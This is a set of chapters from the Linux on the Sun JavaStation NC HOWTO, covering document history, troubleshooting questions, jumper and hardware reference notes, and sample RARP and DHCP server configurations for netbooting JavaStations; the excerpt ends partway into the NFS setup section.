Linux on the Sun JavaStation NC HOWTO
Prev Next

1. META Information

This section lists the meta-information of this document. The hows, whys, location and changes to the structure of the document are documented here. The main content begins in the next chapter.

1.1. The Purpose of this Document

This document is to serve as a comprehensive HOWTO and FAQ collection regarding the Sun JavaStation NC and enabling the GNU/Linux OS on it.

The intended audience of this document is anyone who has an interest in enabling Linux on the Sun JavaStations. The document structure is laid out to serve as either a top-to-bottom read for a newcomer, or as quick reference on a single topic for advanced users. Pointers to sample files submitted by users are included for extremely hurried readers.

The author of this document is Robert Dubinski <rsd@dubinski-family.org>. Robert is the former computer technician and UNIX systems administrator for Marquette University's Math, Statistics and Computer Science Department, where he had 125 JavaStations running Linux. These machines were all configured using the information, techniques and files presented in this document.

In early 1999, Eric Brower <ebrower@usa.net> wrote the first informal HOWTO for the JavaStation. Parts of this document are inspired by his work, and all unique information presented there have since been merged into this document. Eric's original mini-HOWTO is saved for posterity at: http://dubinski-family.org/~jshowto/Files/texts/eric_brower_js_howto_19980218.txt

This HOWTO also aims to serve as a member document of the Linux Documentation Project. The LDP can be reached at: http://www.linuxdoc.org

1.2. Acknowledgments

Enabling Linux on the JavaStations , and allowing this HOWTO to come to be would never have been possible without the fine work of the following people:

  • Pete Zaitcev <zaitcev@yahoo.com> (Primary JavaStation kernel mod author)

  • Eric Brower <ebrower@usa.net> (XFree mods and author of the original embedded-build HOWTO)

  • Varol Kaptan <varol@ulakbim.gov.tr> (made available his Krups images and patches. Backported kernel support to 2.2.x series)

  • David Miller <davem@redhat.com> (the original Linux/SPARC kernel porter)

  • The Linux/SPARC kernel porters and mailing list

  • The thousands of contributors to the Linux kernel

The HOWTO author wishes to give a second thank-you to Pete and Eric for their work:

Pete got me going with Linux on the JavaStation in December 1998, has been the main kernel programmer adding in support for the JavaStation line, and despite his busy work schedule was nice enough to find time to answer all my email queries for help over the last 15 months.

Eric worked on bringing X support to the JavaStation when it had none. He had been working on a dedicated server for the JavaStation in early 1999, and kept me informed of his progress. In mid-1999, he switched tactics and sent a working framebuffer example to test out. He also wrote the first comprehensive mini-HOWTO for the JavaStations, answered my email questions, and got me interested in the embedded solution which I employ here at Marquette.

Thank-you Pete and Eric!

--Robert Dubinski, March 2000

1.2.1. Document Contributors

The following people have contributed to this specific document:

  • Pete Zaitcev <zaitcev@yahoo.com> (Proofreading and factual corrections of initial drafts)

  • Eric Brower <ebrower@usa.net> (Proofreading and factual corrections of initial drafts)

  • Richard Tomlinson <Richard.Tomlinson@one2one.co.uk> (Document reader, Krups tester, feedback)

  • Michael R. Eckhoff <foobar@null.net> (feedback on sample kernel)

  • John Bodo <sales_nospam@bodoman.com> (JavaStation prototype info)

  • Simon Whiting <Simon.Whiting@mysun.com> (Typo Fix in DHCP config)

  • Alex Cellarius<alexc@mail.systems104.co.za> ("Dover" info and pic)

  • Matt Lowry<mclowry@cs.adelaide.edu.au> (Suggestion of Boot Sequence Visuals Section)

  • David Tinker<david@hemtech.co.za> (Dover model info)

  • David O'Brien<obrien@NUXI.com> (Fox prototype info)

  • Olaf Pueschel<olf@olmos.de> (OBP info, true color info)

  • Richard Tomlinson<richard@sysgen.co.uk> (Boot monitoring key combinations)

  • Zachary Drew<zach@math.umn.edu> (Troubleshooting Suggestions)

  • Robert Thornburrow<robert@tsac.fsnet.co.uk> (non-SPARC piggyback info)

  • Bill Childers<bill@nulldevice.net> (Assorted Dover Info)

  • Simon Kuhn<address_lost!> (Donated a Sun4 for kernel builds)

  • Nate Carlson<address_lost!> (supplied pre-compiled kernels, but the HOWTO author lost the info during disk failures.)

If you contributed a tidbit of info and are not listed, please email the document author to get yourself listed. Everyone deserves recognition helping this document evolve.

1.3. History

Revision History
Revision 1.30 | 31 Oct 2001
Many major changes: restructured for better layout, new chapters added, updated files and file pointers, new master distribution location, source broken into parts, new sample files, md5sums on all sample files, overall update and proofread of materials. Thank-you very much to Simon Kuhn for donating an old Sun4 to enable more sample files be made. Thank-you also to Nate Carlson for donating sample kernels (unfortunately that info was lost during a disk crash...Nate, please contact me.). If anyone contributed items between May 31 and Oct 31 and it does not show up in this revision, please resubmit it.
Revision 1.25 | 30 Oct 2001
This is called the "@#!$?" release. It is called such because there were some small-mid size changes to the document which were lost in a disk failure, prior to me re-uploading to the LDP site. To give you an idea of how bad the situation was, the last version I had on backup was in Docbook SGML, while I had switched to Docbook XML many months prior. Simply put, any contributed changes or email contacts I had with contributors were lost, and are hopefully on their way back in with this release. If you contributed something, and it disappeared, please contact me immediately, and it'll get back in. --RSD
Revision 1.22 | 31 May 2001
Changed file links, some sample file formats, and clarified info relating to the sample files, following requests on the sparclinux mailing list.
Revision 1.20 | 08 May 2001
Information Refresh up to the current date, and change to GNU Free Documentation License 1.1
Revision 1.15 | 01 May 2001
Migrate source to DocBook XML 4.12
Revision 1.13 | 02 Feb 2001
Minimal Bugfixes
Revision 1.12 | 29 Dec 2000
Additional info on the "Fox" model
Revision 1.11 | 23 Nov 2000
Krups truecolor blurb, removed one acknowlegement per email request
Revision 1.1 | 15 Nov 2000
Numerous updates and additions revisions
Revision 1.05 | 16 Jun 2000
Requested Format Changes and Fixes
Revision 1.04 | 13 Jun 2000
Suggested Fixes and Added Requests
Revision 1.03 | 04 May 2000
Minor Fixes, Requests
Revision 1.02 | 28 Apr 2000
Small fixes.
Revision 1.01 | 25 Apr 2000
"Brown Paper Bag" Revision.
Revision 1.0 | 24 Apr 2000
First submission to the LDP.
Revision 0.9 | 18 Apr 2000
Continued reorganization and final merges.
Revision 0.7 | 15 Apr 2000
Migration from LinuxDoc DTD to Docbook DTD.
Revision 0.71 | 14 Apr 2000
Received word doc was forwarded inside Sun.
Revision 0.7 | 14 Apr 2000
Linked on Metabyte Website.
Revision 0.6 | 9 Apr 2000
First semi-public release.
Revision 0.4 | 24 Mar 2000
First move to comprehensive HOWTO.
Revision 0.2 | 15 Oct 1999
More notes collected and merged.
Revision 0.1 | 24 Jun 1999
Initial scraps put together.

1.4. Document Copyright and Licenses

Copyright (c) 1999-2001 Robert S. Dubinski. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being: "Why JavaStations are No Longer Produced", with one Front-Cover Text: "Linux on JavaStation HOWTO", and with one Back-Cover Text: "This document was written by Robert S. Dubinski in the hope that more people can put their JavaStation hardware to good use. Thank-you to the Linux kernel hackers who made this happen, and thank-you to Sun for a rock-solid piece of hardware." A copy of the license is included in the section entitled "GNU Free Documentation License".

The document author makes no warranties that all the information presented here is completely accurate, and cannot be held liable to any loss you experience as a result of the information you use from here.

Best efforts have been made to ensure everything included is accurate as of the publication date listed at the beginning of this document, but there is always a possibility something may be wrong. In this case, doublecheck with alternative sources first before considering implementing anything at a production-level. If you find something wrong, drop the author a line at <rsd@dubinski-family.org> or send a patch to the document source, and corrections will be made immediately.

This document is an official member document of the Linux Documentation Project.

1.5. Location of the Latest Version and Source

The latest online version of this document can be found at: http://dubinski-family.org/~jshowto .

The pre-processed XML source to this document, written to the Docbook DTD, version 4.1.2, is available from: http://dubinski-family.org/~jshowto/doc/src/

The pre-processed XML source to the GNU Free Documentation License, written to the Docbook DTD, and which this document is licensed under, is available from: http://dubinski-family.org/~jshowto/doc/src/gfdl.xml

Copies of this document are also available from the Linux Documentation Project at: http://www.linuxdoc.org/HOWTO/JavaStation-HOWTO.

This project used to be available at the URL 'http://javastation-howto.homeip.net'. In Spring 2001, homeip.net discontinued their free service and moved to a fee based scheme. Given the hundreds of mirrors of LDP documents, I do not find the fees justifiable. I have changed all references in this document back to my home server. Between my server's address, http://dubinski-family.org/~jshowto, the LDP website, and its hundreds of mirrors, you should be able to always find the JavaStation-HOWTO. If this is not the case, email me immediately at either <rsd@dubinski-family.org> or <dubinski@mscs.mu.edu>.

1.6. Reporting Bugs Found In or Additions to the HOWTO

Any problems or concerns about the HOWTO should be reported via email to the author, Robert Dubinski, at <rsd@dubinski-family.org>. Do NOT send document bug reports to the SparcLinux mailing list, the debian-sparc mailing list, or the Linux Documentation Project. The folks on there really do not care about my typos or server misconfigurations, so please don't trouble them.

1.7. TODO List for this HOWTO

  1. As NetBSD now supports JavaStations as well, it would be good to talk about support and sample files for it too.

Prev | Home | Next
Linux on the Sun JavaStation NC HOWTO |  | What is a JavaStation?


"Out of the Box" JavaStation Boot File Solutions

Linux on the Sun JavaStation NC HOWTO
Prev Next

6. "Out of the Box" JavaStation Boot File Solutions

This chapter is for administrators who have neither the time nor energy to put together files as described in the previous two chapters, or just want to see Linux on a JavaStation rapidly. In this chapter are complete kernel+embedded-root-fs solutions for to try.

The images here perform simple (or meaningless) tasks, but are useful for verifying a server configuration. Configuring the boot server is covered in the next chapter.

6.1. Simple Solution #1

This is simple solution #1, or at least it will be when it gets created. Right now this section is a stub for the future files.

Prev | Home | Next
Build A JavaStation-Ready FileSystem |  | Set up Your Server


Questions and Troubleshooting

Linux on the Sun JavaStation NC HOWTO
Prev Next

9. Questions and Troubleshooting

This chapter is intended to provide solutions to frequently and infrequently encountered problems in enabling Linux on the JavaStations.

9.1. When booting, the message "The file just loaded does not appear to be executable." Why?

On systems that have the older OpenBoot version 2.3, and are not set up to use PROLL, you will get this message when attempting to boot up a kernel image that is not in AOUT format. Be sure to run elftoaout on your kernel image, as described in the "Kernel Build" chapter.

9.2. When booting, the message "no a.out magic" appears and halts the boot. Why?

On systems that are set up to use PROLL, you will see this message when attempting to boot up a kernel image that is not in AOUT format. Be sure to run elftoaout on your kernel image, as described in the "Kernel Build" chapter.

9.3. I tried booting a Krups but JavaOS comes up. I don't even have JavaOS!

This likely means you have a flash SIMM install, and the flash SIMM has JavaOS loaded on it. Remove the SIMM and the problem should go away.

9.4. Cannot Boot an "Embedded-Root" image > 10 MB on my JavaStation. Why?

There is a known limit of 8 MB when using the "Embedded-Root" boot image option.

The cause of this is the current version of the PROLL software, which map only 8 MB of low memory. Any more and banking support would need to be added to it.

If needed, this limit can be fixed by someone, as the source to PROLL has been released under terms of the General Public License (GPL).

So in reality, the embedded image size limit is really 8 MB , not 10 MB. If 10 MB somehow works for you, it is sheerly by "luck"!

9.5. After Booting, Typing Anything Yields Garbage Characters. Why?

There are a few possibilities for this. Among them:

  1. You have an incorrect device # for tty0.

  2. The "keytable" loaded is incorrect. Make sure you use "sun" instead of "PC" if you use the keytable program. Look for the keytable configuration file if it exists.

9.6. In X Sessions to a Solaris server, the font server "xfs" crashes. Why?

If you do X sessions to a Solaris server, and you find that your sessions are no longer opening up new windows, chances are the font server on the Solaris host has crashed. This is a known bug in Solaris 2.6 and 2.7 when you have about 2 dozen X terminals sessions running.

The fix is to move the font server to a different OS and point your JavaStations there, or to upgrade your Solaris to the 2.7 11/99 maintenance release or Solaris 8 which both (apparently) have fixes to this problem.

9.7. Performing Indirect XDMCP to a Solaris Server Results in Session Login Failures. Why?

Congratulations! You probably have one of patch numbers 107180-12 through 107180-19 installed on a Solaris 7 server. You need to upgrade to 107180-20 or above to fix this problem.

I (your HOWTO author) reported this problem to Sun in November 1999, at which time I was told a fix was not scheduled to be made, since I was using an "unsupported configuration.". Never mind that the client was a piece of hardware made by Sun itself. Also never mind that indirect XDMCP queries is a standard itself which was broken by Sun. A call back in late January 2000, and I learn that the record of my previous call was non-existant, but a fix was now on its way. The fix finally was made available in April 2000, five months after first reporting the problem. Considering revisions to this patch during the broken XDMCP period dealt with fixing system security issues, we were forced to run the older insecure software for five months while waiting for a fix to a problem which should have been patched immediately.

The moral of the story: test your JavaStation configuration against an upgraded server that is not in production mode.

If you have XDMCP problems not related to these faulty Solaris patches, it may be a new problem, so please report it.

9.8. TFTPd config doesn't work on SUSE 6.3. Why?

This was reported by a user after this document was first released.

In SUSE 6.3, using the tftpd from the 'a' package of the netkit rpm, you must be sure your tftpd line in /etc/inetd.conf has the -s flag. Otherwise you need to specify a full path.

Also, it is not necessary to run tftpd as root, so the suggested username and group for tftpd on SUSE 6.3 is 'nobody' and 'nogroup'

It is not known whether these changes are needed for newer versions of SUSE.

9.9. Regarding RARP: Is it Needed or Not?

RARP is not needed with the Krups or Espresso models and recent PROLL software. RARP is required for Mr. Coffee, however.

This 'Server Configuration' chapter explained how to set up kernel-level RARP on 2.2.x systems.

On servers with kernel versions 2.3.x/2.4.x, kernel-level RARP support is removed. The ZLS holds a version of ANK userland RARP from Andi Klein of SuSE that will work with Linux/SPARC. It is available from: http://people.redhat.com/zaitcev/linux/rarpd-ap1.tar.bz2. The command to use then is rarpd-ank -e eth0. "-e" makes it ignore /tftpboot checking, and "eth0" is needed if you are behind a firewall.

9.10. Can One Use the Smart Card Reader on the Espresso models?

This is not currently supported, but the reader follows an ISO standard (ISO 7816-3). On Espresso, if you look into PROLL, there are definitions for the GPIO smartcard data/clock in "eeprom.c". So a programmer should technically be able to get the Smart Card slot running.

Whether the smartcard reader on Dover and Espresso are equivalent is not known.

9.11. Can One Use the Solaris DHCP server instead of ISC?

Yes, this is possible. Earlier ISC daemons had problems dealing with 1514-byte requests of the JavaStations, while the Solaris server was able to handle them without problems. Also, former users of JavaOS may already have their Solaris DHCP server active, and wish to keep things on one machine.

Here is how to configure it:

First, fill in your /var/dhcp/"networks" file, populating it with ethernet to IP info, and the appropriate leastime.

# This example uses "infinite" leastime
#
0108002081C2AE 03 192.168.128.1  192.168.128.100 -1 java01  # JavaStation
010800208E4CF6 03 192.168.128.2  192.168.128.100 -1 java02  # JavaStation

Next, fill in your /var/dhcp/dhcptab file with entries similar to:

##
# First, some network info
#
Locale   m  :UTCoffst=21600:
www  m  :Include=Locale:Timeserv=192.168.128.100:DNSdmain=my.own.net:DNSserv=192.168.128.100:
192.168.128.0  m  :Broadcst=192.168.128.255:Subnet=255.255.255.0:MTU=1500:BootSrvA=192.168.128.100:Router=192.168.128.101:NISdmain=my.own.net:NISservs=192.168.128.100:
#
#  note: BootServA can point to a different TFTP server to get the kernel image
#        off of.
#
#
##
# Now we define the JavaStation TFTPboot parameters
#
SUNW.Linux m :Include=www:JOSchksm=0x155dbf97:Rootpath=/tftpboot:BootFile=proll.mrcoffee:BootSrvA=192.168.128.100:TFTPsrvN=lnxserv:
SUNW.Linux.Krups m :Include=www:Rootpath=/tftpboot:BootFile=proll.krups:BootSrvA=192.168.128.100:TFTPsrvN=lnxserv:
#
#
#  note: different classes are defined for the different PROLL images.
#
##
# Lastly, we list our hosts and which boot class each one gets.
java01  m  :LeaseTim=-1:Include=SUNW.Linux:
java02  m  :LeaseTim=-1:Include=SUNW.Linux.Krups:
#
#
#
###

9.12. Can One Pass Arguments to "/sbin/init" in a Diskless Boot like This?

PROLL ships with DHCP options disabled, but it could be changed. You would then do something like "/tftpboot/0A0A0000.ARGS" to get those parameters in.

If you boot from flash memory, PROLL picks up SILO options (where SILO is > version 0.9.6 and PROLL is >= version 11)

9.13. Enabling X on the JavaStation

This is a very frequently asked question.

Enabling X on the JavaStation is possible.

First, be sure you have enabled the appropriate framebuffer device in your kernel's configuration, as described in the "Kernel Build" chapter.

Next, you'll want to use the generic Sun Framebuffer X server and "XF86Config" file. You can build this yourself, or you can try someone's prebuilt binaries, such as the samples pointed to in the "FileSystem Build" chapter.

Recent editions of the framebuffer server coinciding with XFree 4 are reported not to work. Use the older version based on XFree 3.3, or fix the new version and be a hero to thousands.

9.14. Is There Mailing List Help?

There are two mailing devoted exclusively to running Linux on SPARC processor based machines such as the JavaStations.

The first mailing list is the sparclinux list on VGER, at <sparclinux@vger.kernel.org>. You should first subscribe to it by sending a message to <majordomo@vger.kernel.org> with a subject and body line of "subscribe sparclinux <your_email_address>". You can leave out your email address, but it is helpful to put it in if you have multiple valid addresses at your site.

Archives of the VGER sparclinux mailing list are kept at: http://www.progressive-comp.com/Lists/?l=linux-sparc&r=1&w=2"

The second mailing list is the debian-sparc list at the Debian Project, at <debian-sparc@lists.debian.org>. You should first subscribe to it by sending a message to <debian-sparc-request@lists.debian.org> with a subject and body line of "subscribe <your_email_address>". You can leave out your email address, but it is helpful to put it in if you have multiple valid addresses at your site.

As many of the SPARC kernel hackers run Debian, it is helpful to subscribe to both lists.

Please do not report problems about this document to either list, but send them to <rsd@dubinski-family.org> instead. Also, please use the list archives. JavaStations have been supported on Linux for a while now, and chances are any questions you have not answered by this document are answered in the archives.

9.15. Can One Boot a JavaStation from Onboard Flash Memory?

It is possible to boot a JavaStation-NC from flash, but requires too much arcane knowledge at the moment to be recommended. One problem even if you do go this route is that flash can only be mounted read-only. This gets to be a problem with many things, like X, which require the writing of socket files. A hybrid ramdisk/flash solution would be required.

9.16. Does "Piggyback" work for the x86 too?

With the great embedded-root solution for the JavaStations, the question popped up whether something similar can be done for stock x86 hardware. While there are some x86 NICs that have boot roms on them, you'd also need the piggyback program to put things together. According to Eric Brower, this currently is not possible as the piggyback program looks for a header specific to the SPARC platform. (28-Apr-2000)

Robert Thornburrow<robert@tsac.fsnet.co.uk> sent a version of piggyback which runs on non-SPARCLinux architectures like Linux/x86 and Solaris. This automates the task of creating your embedded root image. You can get his updated piggyback package at: http://dubinski-family.org/~jshowto/Files/tools/piggyback_nonsparc.tar.gz

9.17. I put new memory in, but now it doesn't boot. Why?

Are you using EDO memory by chance? Mr. Coffee uses fast-page memory only, not EDO.

9.18. Now that JavaStations work with Linux, what about other Free OSs?

JavaStation support is now available with the NetBSD OS as well as Linux.

9.19. Do the Linux 2.4 kernels work? What's the latest that works?

As of this date (Oct 31, 2001), the current stable Linux kernel version is 2.4.13. Kernels in the stable 2.4 series should work with the JavaStations, but there are a few reasons why they may not work for you. For details, check the "Kernel Build" chapter's entry on supported kernels.

9.20. Can I compile the kernel on a non-SPARC machine?

It should be technically possible to compile your kernel on a non Sun workstation, such as a PC. Currently there are no reports of anyone doing this, but if you wanted, the first place to look is the GCC CrossCompiling HOWTO.

Of course, you can also compile a new kernel on a working JavaStation, if your filesystem image supports it.

9.21. Can I get an ok> prompt like other Sun equipment?

A curious thing happens when you send a JavaStation a break: it resets, not break down to the openboot prom prompt like other Sun equipment. This can be changed on a Krups by setting jumper J1300, pins 7-8. Doing this gets a OBP ok prompt with a Ctrl-Alt-Break on a PS/2 keyboard or break through a serial terminal.

You can also get the ok prompt on the Dover unit, but it requires a hardware fix. To do so on this unit, you must solder a 220K ohm resistor in location R362 (near the FDD connector).

9.22. My keyboard isn't recognized. What can I do?

While it's unlikely, it could be possible that you have a javastation set in the wrong input device mode. To rectify this, you need to enable the openboot prom prompt as described elsewhere in this HOWTO, and then set the 'input-device' directive accordingly. Or, as one contributor did before the OBP setting was discovered, load up NetBSD on your JavaStation and run the eeprom command there. Convoluted, but it works too.

9.23. Proll reports "TFTP: ARP Timeout". Why?

This has been reported to happen when the file PROLL looks for isn't available. Doublecheck your configuration before retrying.

9.24. Why Can't I Get TrueColor on Krups?

Truecolor on Krups with Linux is a bit of a controversy. Some believe it is possible, while others do not.

First, the Krups is listed as having the IGS C1682 framebuffer, while the Espresso has the IGS C2000 chip.

According to an earlier report by one kernel hacker, the reason for Krups not supporting TrueColor is due to lack of kernel support for the Cyber2000 chip. Perhaps the C2000 for the Espresso is the 'Cyber2000'? And perhaps the C2000 is near equal to the C1682. Notes on the ZLS website seem to point to this.

Recent 2.4.x series kernels have an entry labeled 'Cyber2000'. Perhaps this works? One contributor tried and failed.

Ok, there is a userland utility called 'fbset' to change the modes of a framebuffer. Does that work? One contributor said no.

In the sparclinux archives is a report of a user using the 24-bit TCX framebuffer and having success. But TCX chip was in Mr. Coffee, not Krups, and TCX onboard Mr. Coffee had 8-bit max, not 24.

So what is the real scoop with 24-bit color on the Krups? Until others try things and speak up, we don't know.

9.25. I followed this HOWTO, but my Dover doesn't work. Why?

The Dover is not a SPARC-based JavaStation, which this HOWTO caters to. You must use x86 procedures to make it work properly. You did read the warning in the Dover introduction section, didn't you?

I am receiving multiple reports of kernel load failures with the Dover unit. As more information comes in, this HOWTO will present it.

9.26. Can framebuffer be loaded following a serial console initialization?

If you boot a JavaStation via the serial console, the framebuffer console is completely disabled. Is there any way to activate the framebuffer console after booting? (asked on Sparclinux mailing list 2001-05-11).

Not to our knowledge.

9.27. I really need a complete out-of-the-box solution, pronto!

You better get busy then.

9.28. You Didn't Answer My Question.

So ask it. Email <rsd@dubinski-family.org> and I will try to help. If I can not help, I will direct you to the mailing lists or suitable contacts.

Prev | Home | Next
Booting Your JavaStation |  | Reference Docs


Reference Docs

Linux on the Sun JavaStation NC HOWTO
Prev Next

10. Reference Docs

This section is a collection of various reference documents which do not belong in any other section.

10.1. Mr. Coffee Jumper Info

Mr. Coffee Jumper Assignments

J0206                   JTAG header, perhaps JSCC compatible.
J0904   1-2 shortened   Enter POST - output ttya, input ttya
        1-2 open        Skip POST - output screen, input ttya
        3-4             Unused
        5-6             Unused
        7-8             Unused
J1101   1-2 open (dflt) TPE squelch
        1-2 short       Reduced squelch threshold
J1102   1-2 open (dflt) 100 Ohm TPE termination
            short       150 Ohm TPE termination
J1602                   Manufacturing test of unknown sort
J1603   1-2             PROM select (unfortunately PROM socket is emply)
        2-3 (default)   Flash select
J1604   1-2             FPROM write disable
        2-3 (default)   FPROM write enable

J0904 block is a bit block of pullup resistors which a user may shorten.
They may be read from the keyboard controller with a command 0xDD.

10.2. Krups Jumper Info

Krups Jumper Assignments

J1202   1-2     Use Flash
        2-3     Select optional diagnostic FLASH PROM in socket J1203
                (this does not sound quite right ...)
J1300   1-2     Software debug use
        3-4     Factory use - PROM switch??
        5-6     Unused
        7-8     Flash update recovery
J0500           JTAG

10.3. JavaStation Press Release

Surprisingly, Sun's website still (as of Oct-31-2001) has the JavaStation press release online at http://www.sun.com/961029/JES/ http://www.sun.com/961029/JES Many thanks to Gary <gary@spiritwars.com> for pointing this out.

10.4. JavaOS 1.0 Download

Surprisingly, Sun's JavaOS 1.0 environment for the JavaStations is still mirrored about on the Internet even today (Oct-31-2001). JDSE 1.0.1 can be found at: http://sunsite.tut.fi/javastation Many thanks to Gary <gary@spiritwars.com> for pointing this out.

Download the link labeled 'jdse.tar'. JDSE 1.0.1 was one of the first demo version of JavaOS available, and was a free download. Later, downloads were restricted to paying customers. This first version is merely a boot image of JavaOS and the HotJava browser. No telnet or ssh applet, no X Windows applet, no file manager, no email applet, nothing but the browser. Starting to feel boxed in? Welcome to the official software of the JavaStation.

Copies of latter versions of JavaOS as included in the NetraJ software bundle have not been located online yet. This is probably due to the latter versions, namely NetraJ 2 and above, was retail software, and never available for free download from Sun's site.

10.5. Espresso IDE circuit

Pete Zaitcev has written a document describing how to enable IDE on your Espresso model JavaStation. It is included here with Pete's permission.

By Pete Zaitcev
1999/11/01
2000/08/22

I am not responsible for any direct or indirect damages to your
equiment or yourself resulting from you reading this document.
USE THIS INFORMATION ON YOUR OWN RISK.

IDE interrupt line is connected "upside down" on the Espresso.
To have IDE working we need to insert an invertor in it.
We borrow the invertor from ISA IRQ3. If you want to use ISA
modem, set it to use COM3/IRQ4 (please realize that Linux IRQ
level would be programmed in CPU PCIC).

The following picture provides an overhead view:

    +==================== wire 1 =======================+
    #                                                   #
    #           1202                        1200        #            1201
    #        +-------+                   +-------+      #         +-------+
    #       -!  REP  !--14            1 -!  INV  !- 14  #         !       !
    #       -!       !-                 -!       !-     #         !       !
    #       -!       !-                 -!       !-     #         !       !
    #     4 -!       !-                 -!       !--11==+         !       !
    # /---5--!       !-                 -!       !--10====+       !       !
    #/    6--!--\    !-                 -!       !-  9    #       !       !
A-> *     7 -!   \---!---8              -!       !-  8    #       !       !
    !        +-------+   !               +-------+        #       +-------+
    !                    !                                #
    Z                    ! /=========== wire 2 ===========+
    Z                    !/
    Z R2026          B-> +--- ZZZZ ---*
    Z (pullup)               R1208
    !
    *

I recommend to proceed in the following way:

1. Disconnect 1202 5 & 6. Not knowing if I need them I lifted pins with a
model knife. You may just cut them with side cutters.

2. Lift pins 1200 10 & 11 but do not cut them!

3. Run wires from resistor pads "A" to pin 1200 11 and from pad "B" to
   pin 1200 10. Resistor pads are much easier targets for soldering at home
   than pads under pins 1202 5 & 6. I am a software engineer, so I did it
   the easy way.

   I did not bother to glue wires as a decent electronics hacker would do.

   You are all set. Get kernel 2.4, hack drivers/block/Config.in and enjoy!

   P.S. Let me know if you have drawings of hard drive brackets for Espresso.

10.6. JavaStation Boot Monitoring Key Combinations

When booting your JavaStation, there are certain key combinations you can press to enable some boot monitoring functionality.

Javastation Key Combinations

These are the key combinations that allow you to perform the command monitor
functions:
Press left Alt, left Ctrl key, letter; then turn the power on. You have to
have the keys pressed when you turn on the power otherwise it will not work.

Ctrl-Alt-H Help on chords
Ctrl-Alt-B Show progress banner
Ctrl-Alt-W Show Ether net address and memory size
Ctrl-Alt-D Run diagnostics

These key combinations do not work with the Mr. Coffee model.

10.7. JavaStation Photo Gallery

This section contains links to pictures of the JavaStation line.

Front view of Mr. Coffee is at: http://dubinski-family.org/~jshowto/Files/photos/mr_coffee_front_view.jpg

Top view of Mr. Coffee is at: http://dubinski-family.org/~jshowto/Files/photos/mr_coffee_top_view.jpg

Inside view of Mr. Coffee is at: http://dubinski-family.org/~jshowto/Files/photos/mr_coffee_inside_view.jpg

Mr. Coffee white case variation #1 at: http://dubinski-family.org/~jshowto/Files/photos/mr_coffee_white_case_1.jpg

Mr. Coffee white case variation #2 at: http://dubinski-family.org/~jshowto/Files/photos/mr_coffee_white_case_2.jpg

Front view of krups is at: http://dubinski-family.org/~jshowto/Files/photos/krups_front_view.jpg

Side view of krups is at: http://dubinski-family.org/~jshowto/Files/photos/krups_side_view.jpg

Top view of krups is at: http://dubinski-family.org/~jshowto/Files/photos/krups_top_view.jpg

Front view of Espresso is at: http://dubinski-family.org/~jshowto/Files/photos/espresso_front_view.jpg

Side view of Espresso is at: http://dubinski-family.org/~jshowto/Files/photos/espresso_side_view.jpg

Rear view of Espresso is at: http://dubinski-family.org/~jshowto/Files/photos/espresso_rear_view.jpg

Inside view of Espresso is at: http://dubinski-family.org/~jshowto/Files/photos/espresso_inside_view.jpg

See the JavaEngine-1 at: http://dubinski-family.org/~jshowto/Files/photos/je1_overhead_view.jpg

View of the JavaStation mousepad is at: http://dubinski-family.org/~jshowto/Files/photos/javastation_mousepad.jpg

View of a Lab of JavaStations running Linux is at: http://dubinski-family.org/~jshowto/Files/photos/lab_of_javastations.jpg

JavaStation Prototype at: http://dubinski-family.org/~jshowto/Files/photos/pre_js_1.jpg

JavaStation Prototype Pic 2 at: http://dubinski-family.org/~jshowto/Files/photos/pre_js_2.jpg

JavaStation Prototype Pic 3 at: http://dubinski-family.org/~jshowto/Files/photos/pre_js_3.jpg

"Dover" JavaStation Internal Pic at: http://dubinski-family.org/~jshowto/Files/photos/dover_inside.jpg

JavaStation Cluster of Eric Brower running a parallel POVRay calculation at: http://dubinski-family.org/~jshowto/Files/photos/cluster.jpg

JavaStation/Fox front view at: http://dubinski-family.org/~jshowto/Files/photos/fox_front.jpg

JavaStation/Fox back view at: http://dubinski-family.org/~jshowto/Files/photos/fox_back.jpg

JavaStation/Fox facing view at: http://dubinski-family.org/~jshowto/Files/photos/fox_face.jpg

JavaStation/Fox internal left view at: http://dubinski-family.org/~jshowto/Files/photos/fox_internal_left.jpg

JavaStation/Fox internal right view at: http://dubinski-family.org/~jshowto/Files/photos/fox_internal_right.jpg

Prev | Home | Next
Questions and Troubleshooting |  | GNU Free Documentation License


Set up Your Server

Linux on the Sun JavaStation NC HOWTO
Prev Next

7. Set up Your Server

This chapter describes the configuration steps necessary for the server machine to hand-off your JavaStation boot image.

7.1. Preface

It is now time to setup your server to deliver the OS and filesystem to the JavaStation.

In our examples here, we configure a Linux/SPARC server "lnxserv " at private IP 192.168.128.100 to deliver a boot image to JavaStation "java01" at private IP 192.168.128.1. Both are on private network 192.168.128/24. When using an "NFS-Root" Filesystem, the location on the server of the filesystem in our sample is at "/path/to/nfsroot ".

7.2. Setting up the RARP service

We first need to set up RARP service on our server, so the JavaStation can auto-configure its IP.

First, populate the "/etc/ethers" file with the mapping of the mac address of the JavaStation to its hostname:

### /etc/ethers
8:0:20:82:7a:21  lnxserv  # 192.168.128.100 (server is not necessary,)
#                         #                 (just for completeness)
#
#
08:00:20:81:C2:ae java01   # 192.168.128.1 (JavaStation)
#
###

Next, populate the "/etc/hosts" file with the IP to hostname maps:

### /etc/hosts
192.168.128.100 lnxserv
192.168.128.1 java01
###

Lastly, configure the RARP cache to fill. On 2.2.x based systems, you do this with the /sbin/rarp command, so fill the cache at startup:

### Part of rc.local
#
# If necessary, first load the rarp module to be able to fill the cache.
# /sbin/insmod rarp
#
# Now we fill the rarp cache.  You better have the rarp command available.
if [ -f /sbin/rarp ]; then
        /sbin/rarp -f
fi
###

On 2.4.x based systems, you must use the userland RARP daemon to answer RARP requests instead.

7.3. Setting up the DHCP service

You now need to configure your server to deliver DHCP service. This will help identify the JavaStation, the network it is on, and where to get its boot image from.

The following is a sample "dhcpd.conf" file for the ISC DHCP server software which ships with most Linux/SPARC distributions.

### Sample /etc/dhcpd.conf file for ISC DHCPD
#
deny unknown-clients;
#
subnet 192.168.128.0 netmask 255.255.255.0
{
   range 192.168.128.1 192.168.128.150;
}

group
{
   host java01
   {
      hardware ethernet 08:00:20:81:C2:ae;
      filename "C0A88003";        # "/tftpboot/xxx"
      fixed-address java01;       # 192.168.128.1
   }
}
#
### End dhcpd.conf file

A longer dhcpd.conf from the ZLS is mirrored here for demonstration purposes.

Note: Some early versions of ISC DHCPD are reported to not work well. It is recommended you use ISC DHCPD Version 2.0 and above. If you still find youself having problems, there is a patch to the ISC DHCP server on the ZLS website.

7.4. Set up NFS service ("NFS-Root Options" Only)

When you are serving up an "NFS-Root" filesystem, you need to share the filesystem you created to the JavaStation client. You do this with the "/etc/exports" file.

###/etc/exports
